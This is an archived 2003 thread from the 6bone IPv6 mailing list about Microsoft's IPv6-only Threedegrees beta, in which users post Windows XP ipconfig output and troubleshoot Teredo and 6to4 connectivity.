I see quite a lot of more specifics for the 6to4 space. Though private
peerings are allowed there ofcourse, they should never pop up in the
dfz.

Greets,
 Jeroen



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To: "Chris Mitchell" <cmitch@windows.microsoft.com>, <6bone@ISI.EDU>,
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Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
Date: Mon, 10 Mar 2003 09:20:19 +1000
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Any ideas on how long it takes for them to permit you to join the peer =
to peer update program?=20

Dan

----- Original Message -----=20
  From: Chris Mitchell=20
  To: 6bone@ISI.EDU ; nav6tf@ipv6forum.com=20
  Sent: Friday, March 07, 2003 2:27 PM
  Subject: [6bone] Microsoft has released IPv6-only application for Beta


  Hi, you may have seen one of the articles published last week about a =
new beta release of an application called Threedegrees that Microsoft =
released for the young "NetGen" market.  In case you didn't hear about =
this or haven't had time to read about the application I wanted to be =
sure you knew that it is an IPv6-only application.  It is available for =
beta on www.threedegrees.com and I encourage you all to check it out.

  =20

  You can also read more about the underlying peer to peer and IPv6 =
technologies we are shipping with Threedegrees at: =
http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannouncespr.a=
sp.

  =20

  If you have any questions or comments please let me know.

  Thanks

  Chris Mitchell

  Microsoft - Windows Networking - IPv6

  =20

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<BODY lang=3DEN-US vLink=3D#aa00aa link=3Dblue bgColor=3D#d0d7dd>
<DIV><FONT face=3DArial size=3D2>Any ideas on how long it takes for them =
to permit=20
you to join&nbsp;the peer to peer update program? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Dan</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>----- Original Message ----- </DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dcmitch@windows.microsoft.com=20
  href=3D"mailto:cmitch@windows.microsoft.com">Chris Mitchell</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3D6bone@ISI.EDU=20
  href=3D"mailto:6bone@ISI.EDU">6bone@ISI.EDU</A> ; <A =
title=3Dnav6tf@ipv6forum.com=20
  href=3D"mailto:nav6tf@ipv6forum.com">nav6tf@ipv6forum.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, March 07, 2003 =
2:27=20
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [6bone] Microsoft has =
released=20
  IPv6-only application for Beta</DIV>
  <DIV><BR></DIV>
  <DIV class=3DSection1>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Hi, you may have seen =
one of the=20
  articles published last week about a new beta release of an =
application called=20
  Threedegrees that Microsoft released for the young =93NetGen=94 =
market. &nbsp;In=20
  case you didn=92t hear about this or haven=92t had time to read about =
the=20
  application I wanted to be sure you knew that it is an IPv6-only =
application.=20
  &nbsp;It is available for beta on <A =
title=3Dhttp://www.threedegrees.com/=20
  href=3D"http://www.threedegrees.com">www.threedegrees.com</A> and I =
encourage=20
  you all to check it out.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">You can also read more =
about the=20
  underlying peer to peer and IPv6 technologies we are shipping with=20
  Threedegrees at: <A=20
  =
title=3Dhttp://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp=20
  =
href=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp">http://www.microsoft.com/presspass/press/2003/feb03/02-26sdka=
nnouncespr.asp</A>.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">If you have any =
questions or=20
  comments please let me know.<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial">Thanks<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Chris=20
  Mitchell<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Microsoft =96 Windows =
Networking =96=20
  IPv6<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P></DIV></BLOCKQUOTE></BODY></HTM=
L>

------=_NextPart_000_006C_01C2E6E6.44C54240--


From dan@reeder.name Mon Mar 10 01:07:40 2003
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
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Message-ID: <000b01c2e6e4$83c80150$0200a8c0@elf>
From: "Dan Reeder" <dan@reeder.name>
To: "Chris Mitchell" <cmitch@windows.microsoft.com>, <6bone@ISI.EDU>,
   <nav6tf@ipv6forum.com>
References: <7AA9FE9DAF2C0947B47A0D7F87DBD92E1F0FD8@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> <006f01c2e692$7a4d86b0$0200a8c0@elf>
Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
Date: Mon, 10 Mar 2003 19:07:34 +1000
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Is it possible to get Teredo working on a machine that already has a =
globally routable v6 address? I ask because from what I can determine =
from the limited help available that the ThreeDegrees program requires =
the use of the Teredo pseudo interface and a 2002:: address.
I've got a 2001:: address from hurricane... and while my xp box here is =
behind a v4 nat router, the v6 connectivity is via a linux box on the =
lan which in turn has a public v4 address (thus not behind the nat =
router)... hope that makes sense. Here's my ipconfig /all for you =
anyway.

thanks
dan
----------------------
Windows IP Configuration

        Host Name . . . . . . . . . . . . : elf
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection 3:

        Connection-specific DNS Suffix  . : netspace.net.au
        Description . . . . . . . . . . . : Macronix MX98715-Based =
Ethernet Adapter (Generic) #2
        Physical Address. . . . . . . . . : 00-50-BF-13-A6-4B
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.0.2
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . : 2001:470:1f00:510::2
        IP Address. . . . . . . . . . . . : fe80::250:bfff:fe13:a64b%4
        Default Gateway . . . . . . . . . : 192.168.0.1
        DHCP Server . . . . . . . . . . . : 192.168.0.1
        DNS Servers . . . . . . . . . . . : 202.161.117.211
                                            139.130.4.4
                                            fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        Lease Obtained. . . . . . . . . . : Monday, 10 March 2003 =
6:48:25 PM
        Lease Expires . . . . . . . . . . : Thursday, 13 March 2003 =
6:48:25 PM

Tunnel adapter Teredo Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Teredo Tunneling =
Pseudo-Interface
        Physical Address. . . . . . . . . : 80-00-D8-91-35-D2-95-87
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5445:5245:444f%5
        Default Gateway . . . . . . . . . :
        NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . : netspace.net.au
        Description . . . . . . . . . . . : Automatic Tunneling =
Pseudo-Interface
        Physical Address. . . . . . . . . : C0-A8-00-02
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:192.168.0.2%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled=20
  ----- Original Message -----=20
  From: Dan Reeder=20
  To: Chris Mitchell ; 6bone@ISI.EDU ; nav6tf@ipv6forum.com=20
  Sent: Monday, March 10, 2003 9:20 AM
  Subject: Re: [6bone] Microsoft has released IPv6-only application for =
Beta


  Any ideas on how long it takes for them to permit you to join the peer =
to peer update program?=20

  Dan

  ----- Original Message -----=20
    From: Chris Mitchell=20
    To: 6bone@ISI.EDU ; nav6tf@ipv6forum.com=20
    Sent: Friday, March 07, 2003 2:27 PM
    Subject: [6bone] Microsoft has released IPv6-only application for =
Beta


    Hi, you may have seen one of the articles published last week about =
a new beta release of an application called Threedegrees that Microsoft =
released for the young "NetGen" market.  In case you didn't hear about =
this or haven't had time to read about the application I wanted to be =
sure you knew that it is an IPv6-only application.  It is available for =
beta on www.threedegrees.com and I encourage you all to check it out.

    =20

    You can also read more about the underlying peer to peer and IPv6 =
technologies we are shipping with Threedegrees at: =
http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannouncespr.a=
sp.

    =20

    If you have any questions or comments please let me know.

    Thanks

    Chris Mitchell

    Microsoft - Windows Networking - IPv6

    =20

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<BODY lang=3DEN-US vLink=3D#aa00aa link=3Dblue bgColor=3D#d0d7dd>
<DIV><FONT face=3DArial size=3D2>Is it possible to get Teredo working on =
a machine=20
that already has a globally routable v6 address? I ask because from what =
I can=20
determine from the limited help available that the ThreeDegrees program =
requires=20
the use of the Teredo pseudo interface and a 2002:: =
address.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I've got a 2001:: address from =
hurricane... and=20
while my xp box here is behind a v4 nat router, the v6 connectivity is =
via a=20
linux box on the lan which in turn has a public v4 address (thus not =
behind the=20
nat router)... hope that makes sense. Here's my ipconfig /all for you=20
anyway.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>dan</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>----------------------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Windows IP Configuration</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host=20
Name . . . . . . . . . . . . : =
elf<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Primary Dns Suffix&nbsp; . . . . . . .=20
:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Node Type . . . . . . . =
. . . .=20
. : Unknown<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Routing =
Enabled. .=20
. . . . . . : No<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WINS =
Proxy=20
Enabled. . . . . . . . : No</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Ethernet adapter Local Area Connection=20
3:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Connection-specific DNS Suffix&nbsp; . :=20
netspace.net.au<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Description . . .=20
. . . . . . . . : Macronix MX98715-Based Ethernet Adapter (Generic)=20
#2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical Address. . . . =
. . . .=20
. : 00-50-BF-13-A6-4B<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dhcp =

Enabled. . . . . . . . . . . : =
Yes<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Autoconfiguration Enabled . . . . :=20
Yes<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . =
. . . .=20
. . : 192.168.0.2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Subnet =
Mask . .=20
. . . . . . . . . : =
255.255.255.0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
IP Address. . . . . . . . . . . . :=20
2001:470:1f00:510::2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP =
Address. .=20
. . . . . . . . . . :=20
fe80::250:bfff:fe13:a64b%4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Default=20
Gateway . . . . . . . . . :=20
192.168.0.1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DHCP Server . =
. . . .=20
. . . . . . : 192.168.0.1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
DNS=20
Servers . . . . . . . . . . . :=20
202.161.117.211<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
139.130.4.4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
fec0:0:0:ffff::1%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
fec0:0:0:ffff::2%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
fec0:0:0:ffff::3%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lease =
Obtained.=20
. . . . . . . . . : Monday, 10 March 2003 6:48:25=20
PM<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lease Expires . . . . . =
. . . .=20
. : Thursday, 13 March 2003 6:48:25 PM</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Tunnel adapter Teredo Tunneling=20
Pseudo-Interface:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Connection-specific DNS Suffix&nbsp; .=20
:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description . . . . . . =
. . . .=20
. : Teredo Tunneling=20
Pseudo-Interface<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical =
Address.=20
. . . . . . . . :=20
80-00-D8-91-35-D2-95-87<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Dhcp=20
Enabled. . . . . . . . . . . : =
No<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
IP Address. . . . . . . . . . . . :=20
fe80::5445:5245:444f%5<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Default=20
Gateway . . . . . . . . . =
:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
NetBIOS over Tcpip. . . . . . . . : Disabled</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Tunnel adapter Automatic Tunneling=20
Pseudo-Interface:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Connection-specific DNS Suffix&nbsp; . :=20
netspace.net.au<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Description . . .=20
. . . . . . . . : Automatic Tunneling=20
Pseudo-Interface<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical =
Address.=20
. . . . . . . . : =
C0-A8-00-02<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dhcp=20
Enabled. . . . . . . . . . . : =
No<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
IP Address. . . . . . . . . . . . :=20
fe80::5efe:192.168.0.2%2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Default=20
Gateway . . . . . . . . . =
:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DNS=20
Servers . . . . . . . . . . . :=20
fec0:0:0:ffff::1%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
fec0:0:0:ffff::2%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
fec0:0:0:ffff::3%1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetBIOS =
over=20
Tcpip. . . . . . . . : Disabled</FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Ddan@reeder.name href=3D"mailto:dan@reeder.name">Dan =
Reeder</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dcmitch@windows.microsoft.com=20
  href=3D"mailto:cmitch@windows.microsoft.com">Chris Mitchell</A> ; <A=20
  title=3D6bone@ISI.EDU href=3D"mailto:6bone@ISI.EDU">6bone@ISI.EDU</A> =
; <A=20
  title=3Dnav6tf@ipv6forum.com=20
  href=3D"mailto:nav6tf@ipv6forum.com">nav6tf@ipv6forum.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, March 10, 2003 =
9:20=20
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [6bone] Microsoft =
has=20
  released IPv6-only application for Beta</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Any ideas on how long it takes for =
them to permit=20
  you to join&nbsp;the peer to peer update program? </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Dan</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV>----- Original Message ----- </DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
    <A title=3Dcmitch@windows.microsoft.com=20
    href=3D"mailto:cmitch@windows.microsoft.com">Chris Mitchell</A> =
</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3D6bone@ISI.EDU=20
    href=3D"mailto:6bone@ISI.EDU">6bone@ISI.EDU</A> ; <A=20
    title=3Dnav6tf@ipv6forum.com=20
    href=3D"mailto:nav6tf@ipv6forum.com">nav6tf@ipv6forum.com</A> </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, March 07, 2003 =
2:27=20
    PM</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [6bone] Microsoft =
has released=20
    IPv6-only application for Beta</DIV>
    <DIV><BR></DIV>
    <DIV class=3DSection1>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Hi, you may have seen =
one of the=20
    articles published last week about a new beta release of an =
application=20
    called Threedegrees that Microsoft released for the young =
=93NetGen=94 market.=20
    &nbsp;In case you didn=92t hear about this or haven=92t had time to =
read about=20
    the application I wanted to be sure you knew that it is an IPv6-only =

    application. &nbsp;It is available for beta on <A=20
    title=3Dhttp://www.threedegrees.com/=20
    href=3D"http://www.threedegrees.com">www.threedegrees.com</A> and I =
encourage=20
    you all to check it out.<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">You can also read more =
about the=20
    underlying peer to peer and IPv6 technologies we are shipping with=20
    Threedegrees at: <A=20
    =
title=3Dhttp://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp=20
    =
href=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp">http://www.microsoft.com/presspass/press/2003/feb03/02-26sdka=
nnouncespr.asp</A>.<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">If you have any =
questions or=20
    comments please let me know.<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial">Thanks<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Chris=20
    Mitchell<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Microsoft =96 Windows =
Networking =96=20
    IPv6<o:p></o:p></SPAN></FONT></P>
    <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
    style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Arial"><o:p>&nbsp;</o:p></SPAN></FONT></P></DIV></BLOCKQUOTE></BLOCKQUOTE=
></BODY></HTML>

------=_NextPart_000_0008_01C2E738.4EC7B190--


From old_mc_donald@hotmail.com Mon Mar 10 07:10:21 2003
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From: "Gav" <old_mc_donald@hotmail.com>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@ISI.EDU>
References: <001e01c2e564$087dfd00$210d640a@unfix.org>
Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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Hi Joroen,

Ok, this is my fifth attempt at a reply here, if OE crashes on me again I'm
gonna bin it. :0(

----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>
Cc: <6bone@ISI.EDU>
Sent: Saturday, March 08, 2003 7:15 PM
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta


| Gav [mailto:old_mc_donald@hotmail.com] wrote:
|
| > Jeroen Massar wrote:
|
| > |
| > | Use http://www.threedegrees.com.sixxs.org/ , happy now ? ;)
| >
| > Why is it that I can not get to IPv6 Only sites like this.??
| > The Latest IE6 should show IPv6 sites ok shouldn't it?
|
| Looking at your data you have Windows XP

Yes, XP Pro with SP1 etc and latest stack.
|
| > Ethernet adapter Local Area Connection 5:
| >
| >         Connection-specific DNS Suffix  . :
| >         Description . . . . . . . . . . . : Efficient
| > Networks Enternet
| > P.P.P.o.
| > E Adapter
| >         Physical Address. . . . . . . . . : 44-45-53-54-77-77
| >         Dhcp Enabled. . . . . . . . . . . : Yes
| >         Autoconfiguration Enabled . . . . : No
| >         IP Address. . . . . . . . . . . . : 144.137.252.133
| >         Subnet Mask . . . . . . . . . . . : 255.255.255.0
| >         IP Address. . . . . . . . . . . . :
| fe80::4645:53ff:fe54:7777%4
|
| Only IPv4 on your ADSL (at least PPPoE should be ADSL)

Yes ADSL, Telstra - Australias' biggest phone & internet provider give no
information on any of their sites regarding IPv6. I have emailed their
research dep't but don't think they know any more than I do.

|
| > Ethernet adapter Network Bridge (Network Bridge):
| >
| >         Connection-specific DNS Suffix  . :
| >         Description . . . . . . . . . . . : MAC Bridge Miniport
| >         Physical Address. . . . . . . . . : 02-40-D0-2A-AF-71
| >         Dhcp Enabled. . . . . . . . . . . : No
| >         IP Address. . . . . . . . . . . . : 192.168.0.1
| >         Subnet Mask . . . . . . . . . . . : 255.255.255.0
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:90f1:5098:252d:3eb7
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:cc71:215c:3c83:6492
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:480d:c580:2cc9:863e
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:bd90:af8b:f235:a243
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:5d0c:da6b:bacc:69f7
| >         IP Address. . . . . . . . . . . . :
| 2002:c0a8:1:5:40:d0ff:fe2a:af71
|
| A private network with 6to4 addresses in RFC1918 space, these won't ever
| work.

I can not find anything on RFC 1918 on the IETF site?
However to me it does look like I'm trying to tunnel 6 through 4 on my own
LAN?
I did not configure this however, either M$ autoconfig did this or it was
TILAB's tunnel software.
I can not work out which.
|
| > Tunnel adapter 6to4 Tunneling Pseudo-Interface:
| >
| >         Connection-specific DNS Suffix  . :
| >         Description . . . . . . . . . . . : 6to4 Tunneling
| > Pseudo-Interface
| >         Physical Address. . . . . . . . . : 90-89-FC-85
| >         Dhcp Enabled. . . . . . . . . . . : No
| >         IP Address. . . . . . . . . . . . : 2002:9089:fc85::9089:fc85
|
| This _could_ work, it does use your public IPv4 of your PPPoE adapter.

How did you work this out. I thought part of the address was obtained from
the MAC layer?

|
| Based on the fact which outgoing interface your host picks it should
| work.
| Try some tracerouting and stuff, pings and the like and find out ;)

